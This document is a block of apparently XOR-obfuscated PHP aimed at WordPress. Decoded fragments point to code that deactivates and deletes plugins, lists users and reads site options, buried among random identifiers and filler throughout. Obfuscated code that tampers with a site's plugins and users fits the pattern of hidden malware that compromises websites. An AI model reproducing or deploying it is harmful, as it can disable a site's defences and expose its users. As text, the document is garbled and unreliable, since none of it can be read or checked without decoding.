QQL  		NGABKQNX]			C^v@Z@\@ACBCLNGABKQNX] #								@O							NGABKQNX]		UU	@N[KMFGKOJZ NGABKQNX] 						 					UU	KKAEPBMEYMGE NGABKQNX]	KKAEPBMEYMGE  			 			R#[L]\[G#T#@O						_SMG[M@XJvKJSK\NGABKQNX]  		R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@N[KMFGKOJZ  #	[L]\[G#T#		@O	@^v_XSYHPXKSN SPDBZLLFM] 					KKAEPBMEYMGE NGABKQNX]					  		YYOOJPZFS^  		R#@O			[@@AS\S\BCG								[@@AS\S\BCG				YYOOJPZFS^rt 	R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@N[KMFGKOJZ  ]P\OBPYQSFJDE[NZSPEE]P\OBPYQSF#[L]\[G#					T#[@@AS\S\BCG			YYOOJPZFS^rt###	T			LEZL					R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@^v_XSYHPXKSN  #	[L]\[G#			T###	@O				PSH[[DXQ			_L[Z@FGvJFDYH[L[@@AS\S\BCG					^NKBHS]S^NFHGH^O]  			 		R#		[L]\[G#T###	G\J@GQHXZEM			LSQQPGQ_@[D^ ##		@O	G\J@GQHXZEM			UU				KKAEPBMEYMGE G\J@GQHXZEM 									  		R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		SPDBZLLFM]  #			[L]\[G###T#							vZD^E\X\Z\EX				NL]vFY]@FGKKAEPBMEYMGE  #				@O	KKAEPBMEYMGE vZD^E\X\Z\EX 						SPDBZLLFM] vZD^E\X\Z\EX		@^v_XSYHPXKSN NGABKQNX] 		U 			 			R#			H][JEKCZG		@G] 	@^v_XSYHPXKSN vZD^E\X\Z\EX		SPDBZLLFM] vZD^E\X\Z\EX			U 			 #				@O		@^v_XSYHPXKSN  					H][JEKCZG								  				R##							[L]\[G#					T#	T#		MXKQKKZ@N\		@N[KMFGKOJZ [ZKLSD_  						KKAEPBMEYMGE 				@^v_XSYHPXKSN NGABKQNX] #	@O			iKKAEPBMEYMGE MXKQKKZ@N\  	R#			Pv@_Z@P^							i@G] 		KKAEPBMEYMGE MXKQKKZ@N\ #				@O		Pv@_Z@P^					KKAEPBMEYMGE  				Pv@_Z@P^							  		R#	[L]\[G#	T##		i@N[KMFGKOJZ MXKQKKZ@N\ #T#			\GZL]MXKQKKZ@N\	Pv@_Z@P^ #KFHC\FDA[_X				OHEZL#			@O				@^v_XSYHPXKSN @^v_XSYHPXKSN  					@N[KMFGKOJZ KKAEPBMEYMGE   			R#				PLQXPO[]^_]B						SPDBZLLFM] AFDLv\[E 			H[[HP@^v_XSYHPXKSN 						 						KKAEPBMEYMGE 						KKAEPBMEYMGE 									OHEZL  #		@O								KKAEPBMEYMGE @^v_XSYHPXKSN  									@Zv^YvL[[F[PLQXPO[]^_]B   	R#							KFHC\FDA[_X						@G] 		^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFMLPLQXPO[]^_]B 			 #						T#	iH^H@]	[LZFE_L[###		T#	JFDY@EL	JFDYFZ@]L	OF[	{LJ]F[	H\]F[LOHJ]F[##								HN\QAGDD					OHEZLE\[XFXEZyayvdhcf{vl{z`fgEXQGD[GE\[XFXEZ#						@O				@N[KMFGKOJZ @N[KMFGKOJZ   	R#	iMLHJ]@_H]L	]\DKE@GN^@GMF^##	@PS[NGZMCD					NL]vFY]@FGKKAEPBMEYMGE 					H[[HP  ####HN\QAGDD					@N[KMFGKOJZ @PS[NGZMCD 			KKAEPBMEYMGE X^A[SKOSH[ 		@PS[NGZMCD	][\L #								T#XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 				  #					@O					ZKXOKS\JGG_ZQC@QY[ZKLSD_ 		]ODXFFOB\PHLBFG^NGABKQNX]   		R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		SPDBZLLFM]  #	[L]\[G#T#	EHOBPA]OAvH[ZKLSD_  #			GKGGQEFO\QBQGEP[ZKLSD_  #	@O	KKAEPBMEYMGE @^v_XSYHPXKSN   			iZL]v][HGZ@LG]@N[KMFGKOJZ 		  ZO[YAXFYJP@SGSSYSJBEGY[ZO[YAXFYJP@ ZO[YAXFYJP@ZO[YAXFYJP@#@O								KFHC\FDA[_X				@^v_XSYHPXKSN KKAEPBMEYMGE  					@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#						]KD]PF\EJY				#						OF[	M^P[^NX@X										M^P[^NX@X										M^P[^NX@X 					R#						@M]C[_E^C]GSP						SPDBZLLFM] AFDLv\[EKKAEPBMEYMGE 					@N[KMFGKOJZ  						   	H[[HPKKAEPBMEYMGE 				 		KKAEPBMEYMGE 													@N[KMFGKOJZ 				OHEZL  #		@O					SPDBZLLFM] KKAEPBMEYMGE  					@Zv^YvL[[F[@M]C[_E^C]GSP  	R#	@O					M^P[^NX@X													@^v_XSYHPXKSN @N[KMFGKOJZ   	SPDBZLLFM]  #					JFG]@G\L#T#			HB^CCNENYYND				@G] 					^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP #		@O			HB^CCNENYYND									 	UU				KKAEPBMEYMGE HB^CCNENYYND						H[[HP 		 		 			 			 	 		 				QQ  	][\L  			R####@O	M^P[^NX@X													@^v_XSYHPXKSN SPDBZLLFM]   		@^v_XSYHPXKSN  #				JFG]@G\L#		T#			]KD]PF\EJY		HB^CCNENYYND#		K[LHB#			T#	~y	k\]]FG	kEFJB	^@MNL]	[LGML[##	@O				]KD]PF\EJY							 					]KD]PF\EJY						 	#					@O				]KD]PF\EJY		  				R#			\XO[\H^[P]		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 					]ODXFFOB\PHLBFG^G\J@GQHXZEM  #	@O			\XO[\H^[P] 		\XO[\H^[P]							ZKXOKS\JGG_ZQC@QY[ZKLSD_ 						G\J@GQHXZEM #		\YMH]LvFY]@FG@^v_XSYHPXKSN 			@^v_XSYHPXKSN NGABKQNX] 			U		SPDBZLLFM]  			KKAEPBMEYMGE  #	@O		\XO[\H^[P] 		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				SPDBZLLFM] 			]KD]PF\EJY #		[L]\[G#	T#								GKGGQEFO\QBQGEP[ZKLSD_  #			EHOBPA]OAvH[ZKLSD_  #	LSQQPGQ_@[D^][\L ####	Q]H[ENCXS]X^Z@]][\L #	A^\\QSMPX[					@N[KMFGKOJZ [ZKLSD_ 			SPDBZLLFM]  #				OF[LHJA			H[[HP@N[KMFGKOJZ [ZKLSD_  	\vJHFGLF__PBZFA]G  		HZ				@]XZOJYQ]AQ 						R##iKKAEPBMEYMGE @]XZOJYQ]AQ									SPDBZLLFM] 			A^\\QSMPX[ #						iKKAEPBMEYMGE @]XZOJYQ]AQ							KKAEPBMEYMGE 		A^\\QSMPX[ ^v\YZA\GSESMCMBJZB@^v\YZA\GSE###T#	_LJ]F[@SL	Y[LZJ[@Y]@_L	Y[@F[@]PX\L\L##		@O	HN\QAGDD							HHP\_[vSHKGSLD 					SPDBZLLFM] @N[KMFGKOJZ   	R#_HMHvFES^							NL]vFY]@FGKKAEPBMEYMGE 		H[[HP  ###	@O						@^v_XSYHPXKSN _HMHvFES^ 		KKAEPBMEYMGE X^A[SKOSH[ 	_HMHvFES^		][\L  		R#		_HMHvFES^rt			X^A[SKOSH[ #i\YMH]LvFY]@FGSPDBZLLFM] 		_HMHvFES^ #		T#T#	nefkhezrSPDBZLLFM] t		#				EBO_KJ@NXJJJZ #			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					@^v_XSYHPXKSN 				]KD]PF\EJY #		[L]\[G##	T#				T#		@O			[@@AS\S\BCG							 		R#				nefkhezrKKAEPBMEYMGE t					[@@AS\S\BCG####	F^ZNDHAG^B[ZKLSD_ 			[@@AS\S\BCG #			T#		@O			PSH[[DXQ 			R#	S\D[SG@_			KKAEPBMEYMGE [ZKLSD_ 		SPDBZLLFM]  #OF[LHJA					H[[HPSPDBZLLFM] [ZKLSD_  				\vJHFGLF__PBZFA]G  			HZ	@GD[EM[]@O 		R#		i@^v_XSYHPXKSN @GD[EM[]@O				@N[KMFGKOJZ 			S\D[SG@_ #				T#			\GZL]S\D[SG@_	@GD[EM[]@O #T#	CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 	NGABKQNX]						@^v_XSYHPXKSN  #			LSQQPGQ_@[D^][\L #	Q]H[ENCXS]X^Z@]][\L #		nefkhezr@^v_XSYHPXKSN t		#			EBO_KJ@NXJJJZ #XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 					  #			@O		GKGGQEFO\QBQGEP[ZKLSD_   	LCEBMJ]BE[ZKLSD_  #\YMH]LvFY]@FG@N[KMFGKOJZ 				[@@AS\S\BCG			U						SPDBZLLFM]  		KKAEPBMEYMGE  #			T			JH]JA					}A[F^HKEL		E]GYK]v 	R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 						E]GYK]v ####T	JH]JA		lQJLY]@FG					E]GYK]v 				R#	MLZL[@HE@SL	_@Z@]F[	OF[	{LJ]F[	H\]F[LOHJ]F[##T	O@GHEEP	R#	NZADHFK@PJ[SPDBZLLFM]  ##		T#		T#			O\GJ]@FG		JNZ\CPZGES #						R#	][HJL	K[@MNL	OF[	~y	kEFJBjFG][FEZ####	@O						MLO@GLMSPDBZLLFM]  					UU						@N[KMFGKOJZ SPDBZLLFM]   				R#	ZYLJ@HE@SL	OH@]AO\E	^[@]LHALHMEFN##		@O	@N[KMFGKOJZ hkzyh}a							SPDBZLLFM]   		R#	~F[My[LZZ		YH]]L[GZ	ZH]@ZO@HKEL	ZE@M@GN^@GMF^##								[LX\@[LvFGJL		hkzyh}a							@N[KMFGKOJZ G^[PQLQD[QKKQ ]XHGLJL[DJXDG^[PQLQD[#	T#	@O												@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	yay		@G]L[ZLJ]@FG	[LEHQLM	@G]L[Y[L]L[#####				[L]\[G#								T#	iY[FYHNH]LJFGZ]	MLHMEL]]L[##	T#	JELHGL[	HJ]@FG##	XYNHJv					NL]vYE\N@GZ #				@O					KKAEPBMEYMGE XYNHJv  			R##					[L]\[G##		T#						E@Z]				H[[HP #				OF[LHJA		XYNHJv	HZ		KHZLGHDL							^HAvP]\PF^ZZ] 	R#	@O	KHZLGHDL			X^A[SKOSH[  					R#	JFG]@G\L#		T#		E@Z]rKHZLGHDLt								^HAvP]\PF^ZZ]###T#	[L]\[G		E@Z]###	T#		O\GJ]@FG	ZYA[KYKZ\YJFE^SQLEHF		_M@QFLPCF_LQX #								R#	][@Y	JF\G]####		#			_N@]LYAZvQA							iKKAEPBMEYMGE JFE^SQLEHF		OHEZL			G\EE				QHQL  				#	@O			_N@]LYAZvQA 				R#			[L]\[G						OHEZL#	T##								#				OF[LHJA			_M@QFLPCF_LQX		HZ		Z@LvvQvLJ 			R#	#			@O										KKAEPBMEYMGE Z@LvvQvLJ 		UU									Z@LvvQvLJ				UU	SPDBZLLFM] Z@LvvQvLJ 								QHQH  					R#		JFG]@G\L####					T##	#			][P				R####_CZDGOY			iSPDBZLLFM] Z@LvvQvLJ		_N@]LYAZvQA #			T		JH]JA	}A[F^HKEL						Y\LK\PQXLFNSEO 				R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		Y\LK\PQXLFNSEO #							JFG]@G\L#				T	JH]JA			lQJLY]@FG			Y\LK\PQXLFNSEO 	R###	JFG]@G\L#			T##			@O	_CZDGOY 	R#[L]\[G	][\L#	T#	@ZFDL][@J	Y@YLE@GL##		T#	[L]\[G	OHEZL##			T#	#O\GJ]@FG				]ACQKYZPMYE\N@GvKHZLGHDL ###					R#		_M@QFLPCF_LQX							nefkhezrKKAEPBMEYMGE t#	@O						SPDBZLLFM] _M@QFLPCF_LQX 			UU		LDY]P_M@QFLPCF_LQX  			R##[L]\[G		OHEZL#T#					@O					MLO@GLM@N[KMFGKOJZ  			UU					LDY]PYE\N@GvKHZLGHDL 	UU				SPDBZLLFM] YE\N@GvKHZLGHDL	SPDBZLLFM]  		OHEZL 	R#				[L]\[G	OHEZL#			T#			#								GEQBCJL						~yvye|n`gvm`{												YE\N@GvKHZLGHDL####	@O				SPDBZLLFM] YE\N@GvKHZLGHDL 					 		R#QvL@DHL^QL				H[[HPGEQBCJL #T					LEZL			R#	[YBEB\JZ				@N[KMFGKOJZ GEQBCJL #	@O						KKAEPBMEYMGE [YBEB\JZ 			UU		@N[KMFGKOJZ [YBEB\JZ  	R#[L]\[G	OHEZL#					T#QvL@DHL^QL						CQGFv[[NLLLLBQO[YBEB\JZ	H[[HP@^v_XSYHPXKSN 						@N[KMFGKOJZ 		SPDBZLLFM] 	@^v_XSYHPXKSN 	@N[KMFGKOJZ   #T###		##					OF[LHJA			QvL@DHL^QL		HZ				JFE^SQLEHF 		R##@O						KKAEPBMEYMGE JFE^SQLEHF  		R##					JFG]@G\L#	T#	~y	kEFJBjFG][FEZ	JF_H[@HG]HMC	Y[F]F]PYL##@O			ZYA[KYKZ\YJFE^SQLEHF			_M@QFLPCF_LQX  			R#[L]\[G		][\L#			T#	iZY@EE	DLM@H]F[##				T#	[L]\[G		OHEZL#						T#				O\GJ]@FG	CQGFv[[NLLLLBQO[YBEB\JZ			HJA@vF@S\vZE]Y		L]v\\SOvJA[								MYCLFN\Z_@							G\EE				F]vF\KNHJ			G\EE #		R#	E@Z]				H[[HP ##@O		L]v\\SOvJA[			QQ  		R####				[L]\[G	E@Z]#T#				@O		MYCLFN\Z_@									G\EE 						R#						MYCLFN\Z_@						H[[HP #	F]vF\KNHJ				@^v_XSYHPXKSN ][\L 					QQ #	T####	@O			SPDBZLLFM] ][\L 					F]vF\KNHJ 					R#	[L]\[G	E@Z]#		T##	@O				KKAEPBMEYMGE [YBEB\JZ  						R#	H]FD@J	[LHM##	[L]\[G			E@Z]#						T#			KDMJKFKS					iKKAEPBMEYMGE [YBEB\JZ #@O		KDMJKFKS					OHEZL 			R#@O		@ZZL]MYCLFN\Z_@rKDMJKFKSt  		R#[L]\[G		E@Z]#T#MYCLFN\Z_@rKDMJKFKSt			][\L###			T##		^HM^MS_GXCCv				\Z\AGLAZAHZXB\[YBEB\JZ #	@O							@N[KMFGKOJZ ^HM^MS_GXCCv  	R#						[L]\[G		E@Z]##		T#	OF[LHJA				^HM^MS_GXCCv			HZ		SNMHJKG]OP 		R#			@O		KKAEPBMEYMGE ][\L 									F]vF\KNHJ			UU		@N[KMFGKOJZ E@Z] 				  		R#		K[LHB#	T#			GEQBCJL		[YBEB\JZ														SNMHJKG]OP####				@O			i@N[KMFGKOJZ GEQBCJL  				R#						JFG]@G\L#T##						@O					iSPDBZLLFM] GEQBCJL  	R#					E@Z]		SPDBZLLFM] E@Z]		CQGFv[[NLLLLBQOGEQBCJL	HJA@vF@S\vZE]Y	L]v\\SOvJA[					MYCLFN\Z_@	F]vF\KNHJ  #		T		LEZL@O	i@^v_XSYHPXKSN GEQBCJL  	R#PA^Q^SG					@^v_XSYHPXKSN GEQBCJL	JFGZ]HG]SPDBZLLFM]   #		PA^Q^SG				KKAEPBMEYMGE PA^Q^SG 									SPDBZLLFM] PA^Q^SG 			#					@O					@N[KMFGKOJZ PA^Q^SG		HJA@vF@S\vZE]Y					][\L  	R#						E@Z]rt								GEQBCJLZ]ECBX\CEPOE]PZ]ECB#					T#		T#T#	[L]\[G				E@Z]#	T##				O\GJ]@FG			BML\NDXM[]MPGSYE\N@GvKHZLGHDL #						R#							#			@O								@N[KMFGKOJZ YE\N@GvKHZLGHDL 		UU						YE\N@GvKHZLGHDL 		R####	[L]\[G				OHEZL#T#				@O	KKAEPBMEYMGE YE\N@GvKHZLGHDL					@N[KMFGKOJZ  						OHEZL 	R#[L]\[G		OHEZL#	T#					#		YE\N@GvKHZLGHDL							SPDBZLLFM] YE\N@GvKHZLGHDL #	@O						YE\N@GvKHZLGHDL				X^A[SKOSH[  			R####	[L]\[G	OHEZL#		T#		####	@O										KKAEPBMEYMGE SPDBZLLFM]  				KKAEPBMEYMGE hkzyh}a				@N[KMFGKOJZ   			R#[LX\@[LvFGJL					hkzyh}a						KKAEPBMEYMGE #	T#		#			@O		@^v_XSYHPXKSN SPDBZLLFM]  							@ZvYE\N@GvHJ]@_LYE\N@GvKHZLGHDL  	R#		MLHJ]@_H]LvYE\N@GZH[[HPYE\N@GvKHZLGHDL 						][\L 	#	T##					[YBEB\JZ				MLO@GLM@N[KMFGKOJZ  					~yvye|n`gvm`{																KKAEPBMEYMGE YE\N@GvKHZLGHDL 								###			@O			[YBEB\JZ		KKAEPBMEYMGE [YBEB\JZ 									SPDBZLLFM] YE\N@GvKHZLGHDL 							@^v_XSYHPXKSN YE\N@GvKHZLGHDL  			R#@O	\@C\ZMPv_\NCv[YBEB\JZ  			R#			[L]\[G					][\L####					T#				T#		#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   		R#	#	@O		@^v_XSYHPXKSN KKAEPBMEYMGE  					UU				J\[[LG]v\ZL[vJHG@^v_XSYHPXKSN   	R#	YH[]@]@FG	Y[@F[@]PX\L\L	OF[	~y	yHNL	e@Z]##@O					@N[KMFGKOJZ @^v_XSYHPXKSN  						@N[KMFGKOJZ @N[KMFGKOJZ   		R##\ZL[Z							NL]v\ZL[ZH[[HP@^v_XSYHPXKSN 			@N[KMFGKOJZ 		KKAEPBMEYMGE 				  #						@O		LDY]P\ZL[Z 						\ZL[Zrt`m 			R#			@^v_XSYHPXKSN \ZL[Zrt`m #	T						LEZL	R###@N[KMFGKOJZ  #T#				T#							T#	#		DLK^^CHLZXG					MLEL]LvYE\N@GZH[[HPYE\N@GvKHZLGHDL  #			@O								@Zv^YvL[[F[DLK^^CHLZXG  						R###			[L]\[G	KFFE 		DLK^^CHLZXG#			T#		T#		[L]\[G				OHEZL#	T#				#	O\GJ]@FG			\@C\ZMPv_\NCv[YBEB\JZ		L]v\\SOvJA[			 #		R#			@O		L]v\\SOvJA[					  				RYZJE]vLvyayvdhcf{vl{z`fg[DDMPEA]^]YZJE]vLv#			[L]\[G		OHEZL#						T###					@O				@^v_XSYHPXKSN [YBEB\JZ 		UU	[YBEB\JZ				UU	@^v_XSYHPXKSN [YBEB\JZ					KKAEPBMEYMGE  				OHEZL 	R#					[L]\[G			OHEZL#T###	_CNFNFDDZQ		i@N[KMFGKOJZ [YBEB\JZ #	@O			_CNFNFDDZQ				OHEZL					UU				@^v_XSYHPXKSN _CNFNFDDZQ  		RGYEH@OBDPZZ[^ZQGYEH@OBD#		[L]\[G	OHEZL#T#PBGACGDMMFD					MLO@GLM@N[KMFGKOJZ  			i@^v_XSYHPXKSN ~yvye|n`gvm`{ 				OHEZL#					@O		PBGACGDMMFD					OHEZL	UU	_CNFNFDDZQ			PBGACGDMMFD								@N[KMFGKOJZ _CNFNFDDZQ					PBGACGDMMFD				m`{lj}f{pvzlyh{h}f{ 				  				R#[L]\[G			OHEZLKEXvXOQQK D@A^ZCKEXvXO#			T#		^CGMFZY[Y							i@N[KMFGKOJZ _CNFNFDDZQ #					@O				KKAEPBMEYMGE ^CGMFZY[Y  		R#			[L]\[G		OHEZL#				T#								OF[LHJA				^CGMFZY[Y		HZ			AEAOZvO 			R###	@O		AEAOZvO				UU			AEAOZvO					@^v_XSYHPXKSN  	R#			JFG]@G\L#		T#GEQBCJL							_CNFNFDDZQ								JFGZ]HG]@^v_XSYHPXKSN  						AEAOZvO#@O			i@^v_XSYHPXKSN GEQBCJL  	R#	@PE[Z\[XJ_PLXGGEQBCJL #		JFG]@G\L#				T#	LQHJ]	[L][PYFE@JP###		@O			iKKAEPBMEYMGE GEQBCJL  		R#					\@C\ZMPv_\NCvGEQBCJL		L]v\\SOvJA[					 ####			T		LEZL	RNN@H^XKQKQH YQQKAG@DNN@H^XK#@O							@PE[Z\[XJ_PLXGGEQBCJL  	R#XX]L[vEYC^\OZSZ_@JLGEQBCJL	QOQ  #		@PE[Z\[XJ_PLXGGEQBCJL #		T#		T#			T#		@O			iSPDBZLLFM] _CNFNFDDZQ  			R#XX]L[vEYC^\OZSZ_@JL_CNFNFDDZQ			  ##	i@^v_XSYHPXKSN _CNFNFDDZQ #		T#	~y	\ZLlG]@]P{LJF[MZ	HJX\@[L	[L][PYFE@JP##			[L]\[G		iKKAEPBMEYMGE _CNFNFDDZQ #		T##	#O\GJ]@FG			Y[CPCJC\_S_[SHCOv #		R##	][P					R#		E@Z]					JNZ\CPZGES #@O			KKAEPBMEYMGE E@Z]  		R#[L]\[G#	T#					####	@GSZX@CEJZY				H[[HP #					LJvB[MSFM@NB					OHEZL#				OF[LHJA		SPDBZLLFM] E@Z] 	HZ	KHZLGHDL 	R#	~F[My[LZZ		JFDDHGMZ	KH]JA	ZB@YE@Z]##	#@O			@N[KMFGKOJZ KHZLGHDL  	R####	JFG]@G\L###							T#							#QvES_EM[O		@^v_XSYHPXKSN KHZLGHDL #						@O	QvES_EM[O				 				R#								QvES_EM[O			KHZLGHDL#					T#			@O			@ZZL]@GSZX@CEJZYrQvES_EM[Ot  		R#			JFG]@G\L#		T#			#@GSZX@CEJZYrQvES_EM[Ot						][\L#@O		]ACQKYZPMKHZLGHDL  		R#		BML\NDXM[]MPGSKHZLGHDL #LJvB[MSFM@NB					][\L#T#					T#		#	@O	i@^v_XSYHPXKSN \vJHFGLF__PBZFA]G   	R[]SJGBHPLY[BZEYAX[]SJGBH#		G^\KHQD				\Z\AGLAZAHZXB\\vJHFGLF__PBZFA]G  #			@O			@N[KMFGKOJZ G^\KHQD  				R#	_M@QFLPCF_LQX				nefkhezr@^v_XSYHPXKSN t####							OF[LHJA	G^\KHQD				HZ						SNMHJKG]OP 	R#			#@O					SNMHJKG]OP										@BZAN\Q\PQ@EXJP  			R#		JFG]@G\L#T#	~y	`G]L[HJ]@_@]P	hy`	HZYLJ]	[H]@F##	#	JFE^SQLEHF			\vJHFGLF__PBZFA]G 														SNMHJKG]OP#@O				iSPDBZLLFM] JFE^SQLEHF 			UU		KKAEPBMEYMGE KKAEPBMEYMGE SNMHJKG]OP			JFGZ]HG]SPDBZLLFM]    					@^v_XSYHPXKSN  				R#	JFG]@G\L##	T#	##	@O			ZYA[KYKZ\YJFE^SQLEHF		_M@QFLPCF_LQX  					R#	@PE[Z\[XJ_PLXGJFE^SQLEHF #	LJvB[MSFM@NB				][\L###			T###				T#							T#			T#	#					OD\LZ_JX]E								nefkhezr@N[KMFGKOJZ t#				@O		SPDBZLLFM] OD\LZ_JX]E 				LDY]POD\LZ_JX]E  			R#	{LJ]F[	H\]F[LOHJ]F[	Z@]L	DL]H##	@O			[PS]@QGJKA[YvOD\LZ_JX]E  			R####	LJvB[MSFM@NB					][\L#			T#				T#				T	JH]JA		}A[F^HKEL	E]GYK]v 			R#	iML[LN@Z]L[	LOOLJ]]PYL##FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #								T					JH]JA	lQJLY]@FG		E]GYK]v 	R#					T#				T#	##	O\GJ]@FG	YD_P]@[KQBPHE\ #	R#	Y[FYHNH]LJFGZ]	NLGL[HE[LJ\[Z@_L	JFEELJ]F[####				][P	R#@AKD^EH^YND\S			@G] 	NL]vFY]@FGSPDBZLLFM] 	 #	@O				SPDBZLLFM]  						@AKD^EH^YND\S 				  				R#					\YMH]LvFY]@FG@N[KMFGKOJZ 	@^v_XSYHPXKSN   #	]_X\]_\AJ\				H[[HPH[[HPGELKXEB_N@M@\ 			H[[HPSPDBZLLFM]    #PGH[CGY_						KKAEPBMEYMGE KKAEPBMEYMGE  											KKAEPBMEYMGE  					####				@O	PGH[CGY_						PGH[CGY_									GELKXEB_N@M@\  			]_X\]_\AJ\rt							H[[HPPGH[CGY_	H[[HP@N[KMFGKOJZ 	@N[KMFGKOJZ   #		OF[LHJA			]_X\]_\AJ\				HZ		\FXYDXPBP 			R#	hyj\	ZAD	{lz}	JFG][FEEL[##OF[LHJA						\FXYDXPBPrt		HZ					^NSQ^GGvA 						R#						[K[ZLS_^ZEA							@N[KMFGKOJZ @N[KMFGKOJZ  							iKKAEPBMEYMGE \FXYDXPBPrt													^NSQ^GGvA			 								OHEZL#						@O	@N[KMFGKOJZ [K[ZLS_^ZEA  		JFG]@G\L#		####OF[LHJA				[K[ZLS_^ZEA					HZ	QAYHQCB 					R#			@O			iSPDBZLLFM] QAYHQCB  					JFG]@G\L#							ZNPCJXZF			iSPDBZLLFM] QAYHQCB ####@O	ZNPCJXZF				OHEZL						KKAEPBMEYMGE  				ZNPCJXZF 						  		@PE[Z\[XJ_PLXGQAYHQCB #	T##T#T#@PS[NGZMCD								NL]vFY]@FGSPDBZLLFM] 	H[[HP  #		@O		KKAEPBMEYMGE @PS[NGZMCD  	@PS[NGZMCD							H[[HP #				C^LG]DO				@N[KMFGKOJZ [ZKLSD_ 	@^v_XSYHPXKSN  DF[]QY@[DZAXX\HGJ[DD@\XJDF[]QY@[DZ DF[]QY@[DZDF[]QY@[DZ####vYM		MLO@GLMKKAEPBMEYMGE  				~yvjfg}lg}vm`{			hkzyh}a					KKAEPBMEYMGE  					@N[KMFGKOJZ #OF[LHJA	@N[KMFGKOJZ SPDBZLLFM]  						H[[HP 	i@N[KMFGKOJZ vYM						@N[KMFGKOJZ  									H[[HP 		HZ	XOXYYJLA^G 	R#						@O		KKAEPBMEYMGE @N[KMFGKOJZ XOXYYJLA^G  			C^LG]DO 		JFG]@G\L#	KQ]KS		SPDBZLLFM] KKAEPBMEYMGE XOXYYJLA^G  									KKAEPBMEYMGE XOXYYJLA^G @K]JUQQZOZ@[@K]Jw#						@O		@N[KMFGKOJZ KQ]KS		@PS[NGZMCD				][\L  		JFG]@G\L#					@O			i@N[KMFGKOJZ XOXYYJLA^G  	JFG]@G\L#	]JY]]OvF\K]]NA			i@N[KMFGKOJZ XOXYYJLA^G #						@O	]JY]]OvF\K]]NA		UU			]JY]]OvF\K]]NA					  			JFG]@G\L##						HB^CCNENYYND		i@^v_XSYHPXKSN XOXYYJLA^G #	@O	KKAEPBMEYMGE HB^CCNENYYND 				UU					@N[KMFGKOJZ HB^CCNENYYND	SPDBZLLFM]  					OHEZL 		JFG]@G\L#]YODJ[X					@^v_XSYHPXKSN @^v_XSYHPXKSN 							HB^CCNENYYND #								@O			KKAEPBMEYMGE ]YODJ[X 					UU			]YODJ[X								HB^CCNENYYND					UU	_SMG[M@XJvKJSK\]YODJ[X  		JFG]@G\L#	ZKXOKS\JGG_ZQC@QYXOXYYJLA^G				]YODJ[X #	@O	SPDBZLLFM] @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LXOXYYJLA^G	][\L ####	T#				\GZL]@PS[NGZMCD						C^LG]DO				vYM		XOXYYJLA^G					KQ]KS		]JY]]OvF\K]]NA		HB^CCNENYYND	]YODJ[X #		ZMGQBB[BS[[XJNvZ #					T#		#			CQ[QX^EL						nefkhezr@^v_XSYHPXKSN t##OD\LZ_JX]E		nefkhezrKKAEPBMEYMGE t##			KNM\@OZ^ECH]KN					@N[KMFGKOJZ CQ[QX^EL 							LDY]PCQ[QX^EL  		UU	@^v_XSYHPXKSN OD\LZ_JX]E 						LDY]POD\LZ_JX]E  #@O					KNM\@OZ^ECH]KN 				R#					[L]\[G#					T###	DOCN]Kv@CJ_EKA				@G] 			NL]vFY]@FG@^v_XSYHPXKSN 		 #	@O	@^v_XSYHPXKSN  						DOCN]Kv@CJ_EKA 					QLQ  			R#	~y	}HN	jEF\M	E@GB	\G@O@JH]@FG##					[L]\[G#	T##			#Y[CPCJC\_S_[SHCOv #\YMH]LvFY]@FGKKAEPBMEYMGE 	SPDBZLLFM]   #T						JH]JA		}A[F^HKEL			E]GYK]v 	R#			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #		T		JH]JA		lQJLY]@FG				E]GYK]v 			R#	yz{	GHDLZYHJLZ	JHYHK@E@]P	NH]L##		T####	T#		#			O\GJ]@FG		NG]ZNBv]B[\^^ZGO ##			R###][P	R###					###		YEA^CJENGPQ							LSQQPGQ_@[D^ #				##		@O	YEA^CJENGPQ	UU		@N[KMFGKOJZ YEA^CJENGPQ 			  	[L]\[G#@O					_SMG[M@XJvKJSK\YEA^CJENGPQ  	RCDDXZ\S_[^GB^_]CDDXZ\S CDDXZ\SCDDXZ\S##	FBQKvM[JB\ZMHPE\SPDBZLLFM] 	KKAEPBMEYMGE  #[L]\[G#	T###			@O					@^v_XSYHPXKSN @N[KMFGKOJZ  					NL]v][HGZ@LG]SPDBZLLFM]   	[L]\[G#		###	SLNBE_^K@P						\vJHFGLF__PBZFA]G ##JELH[Z]H]JHJAL][\L ###	@O	i@N[KMFGKOJZ SLNBE_^K@P 					i@^v_XSYHPXKSN SLNBE_^K@P  	R#			[L]\[G#	T#					###				@O			i@N[KMFGKOJZ SLNBE_^K@P  			R#							G_BODYOOLHFMO						i\DHZB ##					vGQBQZEPNCOHHMSLNBE_^K@P						 		][\L #					i\DHZBG_BODYOOLHFMO #	XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P		  #	JELH[Z]H]JHJAL][\L #	T	LEZL				@O	iSPDBZLLFM] SLNBE_^K@P 					UU	iKKAEPBMEYMGE SLNBE_^K@P  			R#					XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P		  #	JELH[Z]H]JHJAL][\L #			T#					#		@O					i@N[KMFGKOJZ SLNBE_^K@P 						i@N[KMFGKOJZ SLNBE_^K@P 		UU	iSPDBZLLFM] SLNBE_^K@P  			iKKAEPBMEYMGE SLNBE_^K@P  		R#	G_BODYOOLHFMO				i\DHZB #		vGQBQZEPNCOHHMSLNBE_^K@P		 			][\L #		i\DHZBG_BODYOOLHFMO ##						XX]L[vEYC^\OZSZ_@JLSLNBE_^K@P				  #	